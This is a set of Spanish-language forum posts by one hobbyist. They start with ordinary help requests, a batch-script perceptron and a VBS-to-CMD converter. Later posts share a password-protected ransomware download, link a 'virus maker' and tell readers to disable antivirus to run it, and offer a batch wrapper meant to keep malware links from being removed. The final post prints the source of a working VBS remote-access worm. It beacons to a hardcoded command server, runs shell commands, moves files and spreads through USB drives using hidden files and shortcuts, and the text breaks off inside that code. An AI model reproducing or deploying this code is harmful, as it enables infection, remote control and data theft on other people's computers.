Hola, a todo . tengo una XBOX 360 y ayer la fuente de poder empezó a Prender el led de color naranja y titila.

Alguien me puede explicar que significa?  


                                    Gracias de antemano-.

hala. hoy cuando llege de la universidad estaba navegando en busca de pagina que enseñen a programar. estaba buscando c++ . y encontré esta pagina muy buena.

espero que les sirva a alguna persona que quiera aprender algún lenguaje.

http://tutorialesprogramacionya.com/

                          COMENTEN LO QUE SEA......

hola a todos los del foro.
se podria poner un video en un tema pero que el video tenga auto play.

osea que el video se empiese a reproducir solo sin tener que darle play.

Hola a todos. bueno como dice el titulo.

como soluciono este problemilla.

yo tengo un Samsung YP-G1 Intl. mejor conocido como Samsung player 4.0 INTL.

Bueno , sin querer le instale otro archivo pit. con Odin . y ahora el telf se queda con la pantalla en negro.

intente descargar su pit original pero no se consigue fácilmente en internet. logre instalarle in pit parecido y intalarler el recobery pero no funciona.

le instale el pit del samsung player 5.0 y le intale ese recobery pero como es de la version 5.0 el telefono no instala la custom room.

si tan solo tuviera una manera de solucionar ese error.

 a ver si alguien puede conseguir el pit file de el samsung player 4.0 intl. o la rom original del telefono.

en donde mas consigo informacion para solucionar este problema es en:

https://forum.xda-developers.com

pero los link del pit de mi teléfono están caídos .

hola a todos, abro este tema para al que le interese.  

bueno empecemos.

que es un (AI)?

Inteligencia artificial, o AI. La inteligencia artificial (Artificial Intelligence, o AI) es la simulación de procesos de inteligencia humana por parte de máquinas, especialmente sistemas informáticos.

que es Perceptron?

El perceptrón multicapa es una red neuronal artificial (RNA) formada por múltiples capas, esto le permite resolver problemas que no son linealmente separables, lo cual es la principal limitación del perceptrón (también llamado perceptrón simple). El perceptrón multicapa puede ser totalmente o localmente conectado.

En pocas palabras el perceptron es la simulación de una neurona humana.



EN ESTE ESQUEMA DE PERCEPTOM SIMPLI SE PUEDE APRECIAR . QUE SE INCLUYE LA PARTE SENSORIAL.

con esta parte podemos apreciar que el desarrollo de una IA nunca estara completa si no tiene como sentir.  ya que muchos Psicólogos  han demostrado que por medio de las experiencias sensiorales el cerebro aprende.

ejemplo de perceptron :  

bach

@echo off
rem Perceptron en batch
rem por S4L
rem 14/04/12
color a
setlocal EnableDelayedExpansion
setlocal EnableExtensions
set me=%0
cscript.exe //H:cscript
:::::::::::::::::::::::::::::::::::
set Fgh=fghijklmnopqrstuvwxz
set T=0.5
set Alpha=0.1
set iNn=3
set oNut=1
set TSName="NAND Gate"
set TxSet=4
set TySet=4
set TSet.1=1,0,0,1
set TSet.2=1,0,1,1
set TSet.3=1,1,0,1
set TSet.4=1,1,1,0
set WxSet=1
set WySet=3
set WSet.1=0
set WSet.2=0
set WSet.3=0
:::::::::::::::::::::::::::::::::::
 
echo Randomize>eval.vbs
echo set objArgs = WScript.Arguments>>eval.vbs
echo wscript.echo eval(objArgs(0))>>eval.vbs
set Run=True
rem for /l %%a in (1,1,%WySet%) do (
rem	call:SetEv WSet.%%a Rnd
rem )
set /a Tf=2+%iNn%+%oNut%
set vfIn=%%%%g
for /l %%a in (2,1,%iNn%) do (
	set vfIn=!vfIn!,%%%%!Fgh:~%%a,1!
)
set /a vfOut_ini=1+%iNn%
set /a fOut=%vfOut_ini%-%oNut%
set vfOut=%%%%!Fgh:~%vfOut_ini%,1!
for /l %%a in (%vfOut_ini%,1,%fOut%) do (
	set vfOut=!vfout!,%%%%!Fgh:~%%a,1!
)
set str=Fo
find "%str%r1"<%me%>stFor.bat
echo 	set In.%%%%f=%vfIn%>>stFor.bat
echo 	set Out.%%%%f=%vfOut%>>stFor.bat
echo ^)>>stFor.bat
call stFor
echo --Training Started--
:train
set Run=False
for /l %%a in (1,1,%TySet%) do (
	echo. 
	(set/p av=Training.)<nul
	call:pre_Sum %%a
	call:UpdateW %%a
)
if %Run%==True goto:train
:test
echo.
echo --%TSName% network succesfully trained!--
echo --Testing--
for /l %%a in (1,1,%iNn%) do (
	set /p iNn%%a=Input %%a ^(1/0^)?
)
call:PSum
echo Network output=%out%
set /p cnt=Continue testing ^(y/n^)?
if %cnt%'==y' goto:test
if %cnt%'==Y' goto:test
goto:eof
 
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
 
:UpdateW
set /a error=!Out.%1!-%out%
if not %error%==0 set Run=True
call:SetEv C %error%*%Alpha%
(set/p av=.)<nul
(set/p av="  E=%error% W1=%WSet.1% W2=%WSet.2% W3=%WSet.3%")<nul 
for /l %%b in (1,1,%WySet%) do (
	call:SetEv WSet.%%b !WSet.%%b!+!iNn%%b!*!C!
)
goto:eof
 
:pre_Sum
set str2=I
set In.>In.
find "%str2%n.%1"<In.>aIn.
find "%str%r2"<%me%>stFor_In.bat
for /l %%a in (1,1,%iNn%) do (
	echo set iNn%%a=%%%%!Fgh:~%%a,1!>>stFor_In.bat
	(set/p av=.)<nul 
)
(set/p av=.)<nul
echo ^)>>stFor_In.bat
call stFor_In
call:PSum %1
goto:eof
 
:PSum
set sum=0
for /l %%a in (1,1,%iNn%) do (
	call:SetEv sum !sum!+!iNn%%a!*!WSet.%%a!
)
if /I %sum% gtr %T% (
	set out=1
) else (
	set out=0
) 
goto:eof
 
:SetEv
for /f %%i in ('eval //nologo "%2"') do set %1=%%i
goto:eof
 
for /f "tokens=2-%Tf% delims=.,=" %%f in ('set TSet.') do ( %For1%
for /f "tokens=2-%Tf% delims=.,=" %%f in (aIn.) do ( %For2%

para los de c++ les dejo el link:

https://www.facebook.com/TutorialesKatana/?sk=app_190322544333196

http://www.mundoprogramacion.com/colabora/puntoNET/jlopezi_RedNeuronal.htm


  si se preguntan todavía que finalidad tiene este tema. ni yo mismo lo se . jajaja.

bueno abrí este tema para los que esten desarrollando alguna AI O los quieran desarrollar.
                        
  COMENTEN sus aporte sobre IA un este tema

hola a todos los del foro.  
hoy les traigo un convertidor de archivos vbs a .bat  . que encontre en internet, creo que el autor se llama Denis   (VBS2CMD)

code del convertidor (VBS2CMD.vbs)

Option Explicit
 
Const ForReading = 1
Const ForWriting = 2
Const ForAppending = 8
Const TristateUseDefault = -2
 
Dim arrVBStext
Dim blnQuiet
Dim intOVRWT, intResult, intValidArgs
Dim objDialog, objFile, objFSO, wshShell
Dim strBaseFileName, strCMDout, strFileName, strFileNameIN, strFileNameOUT
Dim strNewText, strOldText, strText, strVBSline
 
With WScript.Arguments
	If .Unnamed.Count > 1 Then Syntax
	intValidArgs = 0
	If .Unnamed.Count = 1 Then
		strFileNameIN = .Unnamed(0)
		intValidArgs = intValidArgs + 1
	End If
	If .Named.Exists( "Q" ) Then
		blnQuiet = True
		intValidArgs = intValidArgs + 1
	End If
	If intValidArgs <> .Count Then Syntax
End With
 
Set WshShell = WScript.CreateObject( "WScript.Shell" )
Set objFSO = CreateObject( "Scripting.FileSystemObject" )
 
If strFileNameIN = "" Then
	'File browse dialog box (XP only) (NFG in 7/2008, Thank you MS!)
	On Error Resume Next
	Set objDialog = CreateObject( "UserAccounts.CommonDialog" )
	If Err Then
		strFileNameIN = ""
		WScript.Echo "No file specified."
	Else
		objDialog.Filter = "All Files|*.*"
		objDialog.InitialDir = wshShell.CurrentDirectory
		intResult = objDialog.ShowOpen
		If intResult = 0 Then
			strFileNameIN = ""
			wshShell.Popup "No file selected.", 1, " ", 64
		Else
			strFileNameIN = objDialog.FileName
		End If
		Set objDialog = Nothing
	End If
 
	Set objDialog = Nothing
	On Error Goto 0
End If
 
If strFileNameIN = "" Then Syntax
 
strFileNameOUT = objFSO.GetParentFolderName( strFileNameIN ) & objFSO.GetBaseName( strFileNameIN ) & "_CONVERTED.CMD"
 
'Check if strFileNameOUT exists already
If objFSO.FileExists( strFileNameOUT ) Then  'does the file EXIST?
	If blnQuiet Then
		WScript.Echo "Deleting existing file."
		objFSO.DeleteFile( strFileNameOUT )
	Else
		intOVRWT = MsgBox( strFileNameOUT & " exists already" & vbCrLf & "Overwrite?", vbYesNoCancel, "Overwrite?" )
		If intOVRWT = 6 Then
			'proceed
			objFSO.DeleteFile( strFileNameOUT )
		Else
			wshShell.Popup "Exiting as requested.", 1, " ", 64
			WScript.Quit
		End If
	End If 
End If
 
 
'open strFileNameANSI file, and put entire file into a variable
Set objFile = objFSO.OpenTextFile( strFileNameIN, ForReading )
strText = objFile.ReadAll
objFile.Close
 
'************ Start converting *************
'^  Escape character.
' Adding the escape character before a command symbol
' allows it to be treated as ordinary text. 
'When piping or redirecting any of these charcters you should
'prefix with the escape ^ character: \ & | > < ^
'e.g.  ^\  ^&  ^|  ^>  ^<  ^^ 
 
'# Escape out ^ symbols (Must be 1st !!!)
strOldText = "^"
strNewText = "^^"
strText = Replace( strText, strOldText, strNewText )
 
'# Escape out \ symbols
'strOldText = "\"
'strNewText = "^\"
'strText = Replace( strText, strOldText, strNewText )
 
'# Escape out & symbols
strOldText = "&"
strNewText = "^&"
strText = Replace( strText, strOldText, strNewText )
 
'# Escape out | symbols
strOldText = "|"
strNewText = "^|"
strText = Replace( strText, strOldText, strNewText )
 
'# Escape out > symbols
strOldText = ">"
strNewText = "^>"
strText = Replace(strText, strOldText, strNewText)
 
'# Escape out < symbols
strOldText = "<"
strNewText = "^<"
strText = Replace( strText, strOldText, strNewText )
 
'Converting into array
'Dim arrVBStext()
arrVBStext = Split( strText, vbCrLf )	'create one-dimensional array
 
strFileName = objFSO.GetFileName( strFileNameIN )
strBaseFileName = objFSO.GetBaseName( strFileNameIN )
strCMDout = ""
strCMDout = strCMDout & "@ECHO OFF" & vbCrLf
strCMDout = strCMDout & "Call :" & strBaseFileName & vbCrLf
strCMDout = strCMDout & vbCrLf
strCMDout = strCMDout & vbCrLf
strCMDout = strCMDout & "REM Prevent running the " & strFileName & " twice" & vbCrLf
strCMDout = strCMDout & "Exit /b 0" & vbCrLf
 
strCMDout = strCMDout & ":" & strBaseFileName & vbCrLf
 
strCMDout = strCMDout & "REM  This will create a file called " & strFileName & " in %TEMP%" & vbCrLf
strCMDout = strCMDout & "REM" & vbCrLf
strCMDout = strCMDout & "REM  The following will overwite any pre-existing file called %TEMP%\" & strFileName & vbCrLf
strCMDout = strCMDout & "echo.> %TEMP%\" & strFileName & vbCrLf
'Add  Echo  in front and  >> %TEMP%\<VBSNAME>.VBS at the end of every line
For Each strVBSline in arrVBStext
	If Trim( strVBSline ) = "" Then
		strCMDout = strCMDout & "echo. >> %TEMP%\" & strFileName & vbCrLf
	Else
		strCMDout = strCMDout & "echo " & strVBSline & " >> %TEMP%\" & strFileName & vbCrLf
	End If
Next
strCMDout = strCMDout & "Cscript.exe //NoLogo ""%TEMP%\" & strFileName & """" & vbCrLf
strCMDout = strCMDout & "Exit /b 0" & vbCrLf
'Converting done
 
'Write to file
Set objFile = objFSO.OpenTextFile( strFileNameOUT, ForAppending, True )
objFile.WriteLine strCMDout
 
objFile.Close
 
If blnQuiet Then
	WScript.Echo "created " & strFileNameOUT
Else
	wshShell.Popup "created " & strFileNameOUT, 3, "Completed", 64
End If
 
Set objFile = Nothing
Set wshShell = Nothing
Set objFSO = Nothing
 
 
Sub Syntax
	Dim strMsg
	strMsg = vbCrLf _
	       & "Como usarlo:  VBS2CMD.VBS  archivo-vbscript.vbs  [ /Q ]" & vbCrLf & vbCrLf _
	       & "Donde:  archivo-vbscript.vbs  es el archivo a ser ""convertido""" & vbCrLf _
	       & "                           (necesario en todas las versiones excepto en XP XP)" & vbCrLf _
	       & "        /Q                 Evita los dialogos"
	WScript.Echo strMsg
	WScript.Quit 1
End Sub

Como usar :

code batch para usar.

@echo off
VBS2CMD.vbs nombre-de-tu-vbs.vbs
pause

                                          COMENTEN

hola a todos los del foro .

hoy comparto con ustedes un Ransomware  creado con "fines educativos" 

bueno cifre el code con una herramienta que cree hace unos dias muy util. para que no me tumben el link.

si les interesa la herramienta para cifrar es: Batch Archive Security

http://foro.elhacker.net/scripting/batch_aporte_batch_archive_security_ponle_contrasena_a_tus_archivos-t475058.0.html

BUENO SIN MAS QUE DECIR EL CÓDIGO DEL Ransomware :

https://mega.nz/#!8892SSYJ!X29F4hlIUTC-gWNmtL9mKWwVNOU4byyEYrE0FgeEPPc

DESCARGAN EL BATCH Y LES PEDIRA UNA CONTRASEÑA.

la contraseña es:   123456

despues presionamos enter y listo les aparecera un zip que contiene el código del Ransomware.
                                                    COMENTEN

hala a todos.  
Hoy les traigo un programa bastante viejo, pero funcional . con el podrás crear virus sin tener ningún conocimiento de programacion. XD.

El Programa lo que hace es crear virus y por eso cundo vas ejecutarlo tienes que desactivar tu antivirus , por que básicamente estas trabajando con troyanos.

Bueno, el programa cuesta conseguirlo en internet por que cada vez que lo suben, los servidores lo eliminan.
pero hace unos días cree una aplicación en batch y me di cuenta que tiene mas potencial del que creía ya que con esta aplicación  pueden cifrar archivos o programas, y gracias a eso los servidores no eliminan la aplicación.  

bueno si alguien le interesa la aplicación para cifrar:

http://foro.elhacker.net/scripting/batch_aporte_batch_archive_security_ponle_contrasena_a_tus_archivos-t475058.0.html

y bueno aqui el link de TeraBIT Virus Maker 3.1 para creación de virus.

https://mega.nz/#!Z9kSBYIY!GZLGqCkIZbRPglmC9yFIULoBcElt8gfGUAlK26FsqX4

DESPUÉS DE DESCARGAR, LO ABREN Y LES PEDIRÁ UNA CONTRASEÑA:

La Contraseña es :      1234




                                              COMENTEN

hola , al foro.  

Estaba ayudando a un usario del foro llamado Orni1 con su script y se me ocurrio hacer un programa en batch para colocar contraseña a cualquier tipo
de archivo (exepto imajenes , si se cifran imajenes tienes que pasarlas a rar)

bueno con esta herramienta puede poner contraseña a tus archivos (exe,mp3,mp4
jar, entre otros formatos).( las imajenes se deben comprimir un .zip y luego cifrar)

code:

@echo off
title Bienbenido %USERNAME%                                           --- Batch Archive Security ---
if exist %temp%\pass.txt del %temp%\pass.txt >nul
if exist %temp%\pass1.txt del %temp%\pass1.txt >nul
if exist %temp%\bas.bat del %temp%\bas.bat >nul
:menu & cls  
color a
echo ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿  Realse 
echo ³                                                               ³     Version 
echo ³        Este Programa Portable sirve para poner                ³         (0.1)
echo ³             Contrasena a cualquier archivo.                   ³
echo ³                                                               ÀÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
echo ³      Creada especialmente para (Orni1)                        ³ BATCH       ³
echo ³                       De Parte de **Aincrad**                 ³   ARCHIVE   ³
echo ³                                                               ³     SECURITY³
echo ³                                                               ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
echo ³    PASOS A SEGUIR:                                            ³ Para:
echo ³                                                               ³    F  
echo ³    1) Escriba el nombre de el archivo a cifrar. y tambien     ³     o
echo ³        Su formato. Ej: (.txt , .exe , .rar , .jar) etc..      ³      r
echo ³                                                               ³       o
echo ³    2) Escriba el Pass (Contraseña). Todo menos simbolos.      ³   El    
echo ³                                                               ³ H
echo ³    3) Listo..... :v                                           ³  a
echo ³                                                               ³   c
echo ³    4) En caso de no entender nada de los pasos, escriba       ³    k
echo ³         help   y si no entiende Vayase a la mierrrrr...da     ³     e
echo ³                                                               ³      r
echo ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ       .NET
echo   26/09/20017   Caracas-Venezuela           Create BY **Aincrad**
set /p op= Escriba el nombre de el archivo a cifrar : 
if not defined op (goto:menu) >NUL
if not exist %op% (goto:err) >NUL
Ping -n 2 Localhost >NUL
 
set p=set
set t=var
set "resultado=%resultado:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789%" "
 
:si
set /p ps= el archivo si existe escriba una contraseña : 
if not defined ps goto :si >NUL
echo %ps%>>%temp%\pass1.txt
Ping -n 2 Localhost >NUL
set archivo=%temp%\pass1.txt
 
:::::::::::::::::
:Ofuscador
:::::::::::::::::
 
:Lineas
Set Linea=0
For /F "Tokens=*" %%a in ('Type %archivo% ^| Find /V /C ""') do (Set Total=%%a)
 
:Leer_Ofuscador
If "%linea%" EQU "%total%" (Goto :Fin_Ofuscador)
 
For /F "Tokens=*" %%a in ('Type %archivo% ^| MORE +%Linea%') do (
    Echo: Ofuscando: "%%a"
    Set /A Linea+=1
    Set "String=%%a"
    If not defined string (Goto :Leer_Ofuscador)
    Echo %%a>"%TEMP%\String.tmp"
    FOR %%? IN (%TEMP%\String.tmp) DO ( SET /A Longitud=%%~z? - 2 )
    Goto :Ofuscar
)
 
 
:Ofuscar
 
 
If "%Count%" EQU "%Longitud%" (
    call :Write_Ofuscador
    Goto :Leer_Ofuscador)
 
::Comilladoble
Set "String=%String:"=€%"& rem "
 
::Espacio
If "%String:~0,1%" EQU " " (Set "New_String=%New_String% ")
 
::Alpha
If "%String:~0,1%" EQU "a" (Set "New_String=%New_String%%%var:~27,1%%")
If "%String:~0,1%" EQU "b" (Set "New_String=%New_String%%%var:~28,1%%")
If "%String:~0,1%" EQU "c" (Set "New_String=%New_String%%%var:~29,1%%")
If "%String:~0,1%" EQU "d" (Set "New_String=%New_String%%%var:~30,1%%")
If "%String:~0,1%" EQU "e" (Set "New_String=%New_String%%%var:~31,1%%")
If "%String:~0,1%" EQU "f" (Set "New_String=%New_String%%%var:~32,1%%")
If "%String:~0,1%" EQU "g" (Set "New_String=%New_String%%%var:~33,1%%")
If "%String:~0,1%" EQU "h" (Set "New_String=%New_String%%%var:~34,1%%")
If "%String:~0,1%" EQU "i" (Set "New_String=%New_String%%%var:~35,1%%")
If "%String:~0,1%" EQU "j" (Set "New_String=%New_String%%%var:~36,1%%")
If "%String:~0,1%" EQU "k" (Set "New_String=%New_String%%%var:~37,1%%")
If "%String:~0,1%" EQU "l" (Set "New_String=%New_String%%%var:~38,1%%")
If "%String:~0,1%" EQU "m" (Set "New_String=%New_String%%%var:~39,1%%")
If "%String:~0,1%" EQU "n" (Set "New_String=%New_String%%%var:~40,1%%")
If "%String:~0,1%" EQU "o" (Set "New_String=%New_String%%%var:~41,1%%")
If "%String:~0,1%" EQU "p" (Set "New_String=%New_String%%%var:~42,1%%")
If "%String:~0,1%" EQU "q" (Set "New_String=%New_String%%%var:~43,1%%")
If "%String:~0,1%" EQU "r" (Set "New_String=%New_String%%%var:~44,1%%")
If "%String:~0,1%" EQU "s" (Set "New_String=%New_String%%%var:~45,1%%")
If "%String:~0,1%" EQU "t" (Set "New_String=%New_String%%%var:~46,1%%")
If "%String:~0,1%" EQU "u" (Set "New_String=%New_String%%%var:~47,1%%")
If "%String:~0,1%" EQU "v" (Set "New_String=%New_String%%%var:~48,1%%")
If "%String:~0,1%" EQU "w" (Set "New_String=%New_String%%%var:~49,1%%")
If "%String:~0,1%" EQU "x" (Set "New_String=%New_String%%%var:~50,1%%")
If "%String:~0,1%" EQU "y" (Set "New_String=%New_String%%%var:~51,1%%")
If "%String:~0,1%" EQU "z" (Set "New_String=%New_String%%%var:~52,1%%")
If "%String:~0,1%" EQU "A" (Set "New_String=%New_String%%%var:~1,1%%")
If "%String:~0,1%" EQU "B" (Set "New_String=%New_String%%%var:~2,1%%")
If "%String:~0,1%" EQU "C" (Set "New_String=%New_String%%%var:~3,1%%")
If "%String:~0,1%" EQU "D" (Set "New_String=%New_String%%%var:~4,1%%")
If "%String:~0,1%" EQU "E" (Set "New_String=%New_String%%%var:~5,1%%")
If "%String:~0,1%" EQU "F" (Set "New_String=%New_String%%%var:~6,1%%")
If "%String:~0,1%" EQU "G" (Set "New_String=%New_String%%%var:~7,1%%")
If "%String:~0,1%" EQU "H" (Set "New_String=%New_String%%%var:~8,1%%")
If "%String:~0,1%" EQU "I" (Set "New_String=%New_String%%%var:~9,1%%")
If "%String:~0,1%" EQU "J" (Set "New_String=%New_String%%%var:~10,1%%")
If "%String:~0,1%" EQU "K" (Set "New_String=%New_String%%%var:~11,1%%")
If "%String:~0,1%" EQU "L" (Set "New_String=%New_String%%%var:~12,1%%")
If "%String:~0,1%" EQU "M" (Set "New_String=%New_String%%%var:~13,1%%")
If "%String:~0,1%" EQU "N" (Set "New_String=%New_String%%%var:~14,1%%")
If "%String:~0,1%" EQU "O" (Set "New_String=%New_String%%%var:~15,1%%")
If "%String:~0,1%" EQU "P" (Set "New_String=%New_String%%%var:~16,1%%")
If "%String:~0,1%" EQU "Q" (Set "New_String=%New_String%%%var:~17,1%%")
If "%String:~0,1%" EQU "R" (Set "New_String=%New_String%%%var:~18,1%%")
If "%String:~0,1%" EQU "S" (Set "New_String=%New_String%%%var:~19,1%%")
If "%String:~0,1%" EQU "T" (Set "New_String=%New_String%%%var:~20,1%%")
If "%String:~0,1%" EQU "U" (Set "New_String=%New_String%%%var:~21,1%%")
If "%String:~0,1%" EQU "V" (Set "New_String=%New_String%%%var:~22,1%%")
If "%String:~0,1%" EQU "W" (Set "New_String=%New_String%%%var:~23,1%%")
If "%String:~0,1%" EQU "X" (Set "New_String=%New_String%%%var:~24,1%%")
If "%String:~0,1%" EQU "Y" (Set "New_String=%New_String%%%var:~25,1%%")
If "%String:~0,1%" EQU "Z" (Set "New_String=%New_String%%%var:~26,1%%")
 
::Numeric
If "%String:~0,1%" EQU "0" (Set "New_String=%New_String%%%var:~53,1%%")
If "%String:~0,1%" EQU "1" (Set "New_String=%New_String%%%var:~54,1%%")
If "%String:~0,1%" EQU "2" (Set "New_String=%New_String%%%var:~55,1%%")
If "%String:~0,1%" EQU "3" (Set "New_String=%New_String%%%var:~56,1%%")
If "%String:~0,1%" EQU "4" (Set "New_String=%New_String%%%var:~57,1%%")
If "%String:~0,1%" EQU "5" (Set "New_String=%New_String%%%var:~58,1%%")
If "%String:~0,1%" EQU "6" (Set "New_String=%New_String%%%var:~59,1%%")
If "%String:~0,1%" EQU "7" (Set "New_String=%New_String%%%var:~60,1%%")
If "%String:~0,1%" EQU "8" (Set "New_String=%New_String%%%var:~61,1%%")
If "%String:~0,1%" EQU "9" (Set "New_String=%New_String%%%var:~62,1%%")
 
Set "String=%String:~1%"
Set /A Count+=1
Goto :Ofuscar
 
:Write_Ofuscador
Set "New_String=%New_String:€="%"& rem "
Echo %New_String%>>%temp%\pass.txt
If NOT Errorlevel 0 (Echo ERROR & pause & Exit /B 1)
Set "New_String="
Set "Count="
Goto :EOF
 
:Fin_Ofuscador
Del /Q "%TEMP%\String.tmp"
Cls
echo Fin | More
Ping -n 2 Localhost >NUL
 
for /f "tokens=*" %%x in (%temp%\pass.txt) do (set psw=%%x)
 
:hsss
(
echo @echo off
echo %p% %t%^=%resultado%
echo color a
echo echo ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿  Realse 
echo echo ³                                                               ³     Version 
echo echo ³                                                               ³          0.1
echo echo ³                                                               ³
echo echo ³                                                               ÀÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
echo echo ³      Creada especialmente para *Orni1*                        ³ BATCH       ³
echo echo ³                       De Parte de **Aincrad**                 ³   ARCHIVE   ³
echo echo ³                                                               ³     SECURITY³
echo echo ³                                                               ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
echo echo ³    PASOS A SEGUIR:                                            ³ Para:
echo echo ³     1. Escriba el Pass *Contraseña*. Todo menos simbolos.     ³    F  
echo echo ³                                                               ³     o
echo echo ³     2. Listo..... :v                                          ³      r
echo echo ³                                                               ³       o
echo echo ³     4. En caso de no entender nada de los pasos a segui       ³   El    
echo echo ³                     Vayase a la mierrrrr...da                 ³ H
echo echo ³                                                               ³  a
echo echo ³                                                               ³   c
echo echo ³                                                               ³    k
echo echo ³                                                               ³     e
echo echo ³                                                               ³      r
echo echo ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ       .NET
echo echo   26/09/20017   Caracas-Venezuela           Create BY **Aincrad**
echo set /p c= Escriba la contraseña del archivo cifrado :
echo if not defined c  ^exit  
echo If ^%%c%%^=^= %psw% goto d  
echo exit
echo :d
echo ^(
echo ECHO 1d, 1d, 1d, 1d, 1d, 1d, 1d, 1d, 1d, 1d, 1d, 1d, 1d, 1d, 1d, 1d, 1d, 1d, 1d, 1d, 1d, 1d, 1d, 1d, 1d, 1d, 1d, 1d, 1d, 1d, 1d, 1d, 1d, 1d, 1d, 1d, 1d, 1d, 1d, 1d
echo ECHO E
echo ^) ^| EDLIN /B ^"%op% cifrado.bat^" 
echo copy /b ^"%op% cifrado.bat^" ^"%op%^") > %temp%\bas.bat
 
:co
copy /b "%temp%\bas.bat" + "%op%" "%op% cifrado.bat%
goto f
 
:f
echo Proceso terminado Gracias por usar Batch Archive Security
echo Salvador F. Krilewski.    **Aincrad**
pause & exit
 
::::::::::::::::::::::::::::
:err
::::::::::::::::::::::::::::
color c
echo echo ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
echo echo ³                                                               ³
echo echo ³                                                               ³
echo echo ³                                                               ³
echo echo ³                                                               ³
echo echo ³          no se ha Encontrado el Archivo Especificado.         ³
echo echo ³                                                               ³
echo echo ³                                                               ³
echo echo ³                  ERROR CODE (2111995x32)                      ³
echo echo ³                                                               ³
echo echo ³                                                               ³
echo echo ³                                                               ³
echo echo ³                                                               ³
echo echo ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ 
echo echo   26/09/20017   Caracas-Venezuela           Create BY **Aincrad**
pause & exit 

para cifrar:


el archivo cifrado:




                                          Comenten plis..  


                                         VERSION 0.2 LISTA.
--------------------------------TODOS LOS BUG CORREGIDOS. --------------------------------

Esta versión no tiene ningún defecto y se pueden cifrar toda clase de archivos .
(imágenes, músicas, vídeos , ejecutables ,documentos , entre muchas cosas mas)
no tiene ningún error.                           atencion no se comparte el code de la version 0.2 ya que es la version definitiva sin ningun problema


link:

Batch Archive Security

hola a todo les traigo el virus de accesos directos (newphototaday) o tambien conocido como drive.bat ya que virus genera en los usb un batch con ese nombre.

el virus es un vbs.  en pendrives se encuentra con formato wsf por que esta cifrado.

virus vbs:

'<[ recoder : houdini (c) skype : houdini-fx ]>
 
'=-=-=-=-= config =-=-=-=-=-=-=-=-=-=-=-=-=-=-=
 
host = "update-flash.servehttp.com"
port = 666
installdir = "%temp%"
lnkfile = true
lnkfolder = true
 
'=-=-=-=-= public var =-=-=-=-=-=-=-=-=-=-=-=-=
 
dim shellobj 
set shellobj = wscript.createobject("wscript.shell")
dim filesystemobj
set filesystemobj = createobject("scripting.filesystemobject")
dim httpobj
set httpobj = createobject("msxml2.xmlhttp")
 
 
'=-=-=-=-= privat var =-=-=-=-=-=-=-=-=-=-=-=
 
installname = wscript.scriptname
startup = shellobj.specialfolders ("startup") & "\"
installdir = shellobj.expandenvironmentstrings(installdir) & "\"
if not filesystemobj.folderexists(installdir) then  installdir = shellobj.expandenvironmentstrings("%temp%") & "\"
spliter = "<" & "|" & ">"
sleep = 5000 
dim response
dim cmd
dim param
info = ""
usbspreading = ""
startdate = ""
dim oneonce
 
'=-=-=-=-= code start =-=-=-=-=-=-=-=-=-=-=-=
on error resume next
 
 
instance
while true
 
install
 
response = ""
response = post ("is-ready","")
cmd = split (response,spliter)
select case cmd (0)
case "excecute"
      param = cmd (1)
      execute param
case "update"
      param = cmd (1)
      oneonce.close
      set oneonce =  filesystemobj.opentextfile (installdir & installname ,2, false)
      oneonce.write param
      oneonce.close
      shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & chr(34)
      wscript.quit 
case "uninstall"
      uninstall
case "send"
      download cmd (1),cmd (2)
case "site-send"
      sitedownloader cmd (1),cmd (2)
case "recv"
      param = cmd (1)
      upload (param)
case  "enum-driver"
      post "is-enum-driver",enumdriver  
case  "enum-faf"
      param = cmd (1)
      post "is-enum-faf",enumfaf (param)
case  "enum-process"
      post "is-enum-process",enumprocess   
case  "cmd-shell"
      param = cmd (1)
      post "is-cmd-shell",cmdshell (param)  
case  "delete"
      param = cmd (1)
      deletefaf (param) 
case  "exit-process"
      param = cmd (1)
      exitprocess (param) 
case  "sleep"
      param = cmd (1)
      sleep = eval (param)        
end select
 
wscript.sleep sleep
 
wend
 
 
sub install
on error resume next
dim lnkobj
dim filename
dim foldername
dim fileicon
dim foldericon
 
upstart
for each drive in filesystemobj.drives
 
if  drive.isready = true then
if  drive.freespace  > 0 then
if  drive.drivetype  = 1 then
    filesystemobj.copyfile wscript.scriptfullname , drive.path & "\" & installname,true
    if  filesystemobj.fileexists (drive.path & "\" & installname)  then
        filesystemobj.getfile(drive.path & "\"  & installname).attributes = 2+4
    end if
    for each file in filesystemobj.getfolder( drive.path & "\" ).Files
        if not lnkfile then exit for
        if  instr (file.name,".") then
            if  lcase (split(file.name, ".") (ubound(split(file.name, ".")))) <> "lnk" then
                file.attributes = 2+4
                if  ucase (file.name) <> ucase (installname) then
                    filename = split(file.name,".")
                    set lnkobj = shellobj.createshortcut (drive.path & "\"  & filename (0) & ".lnk") 
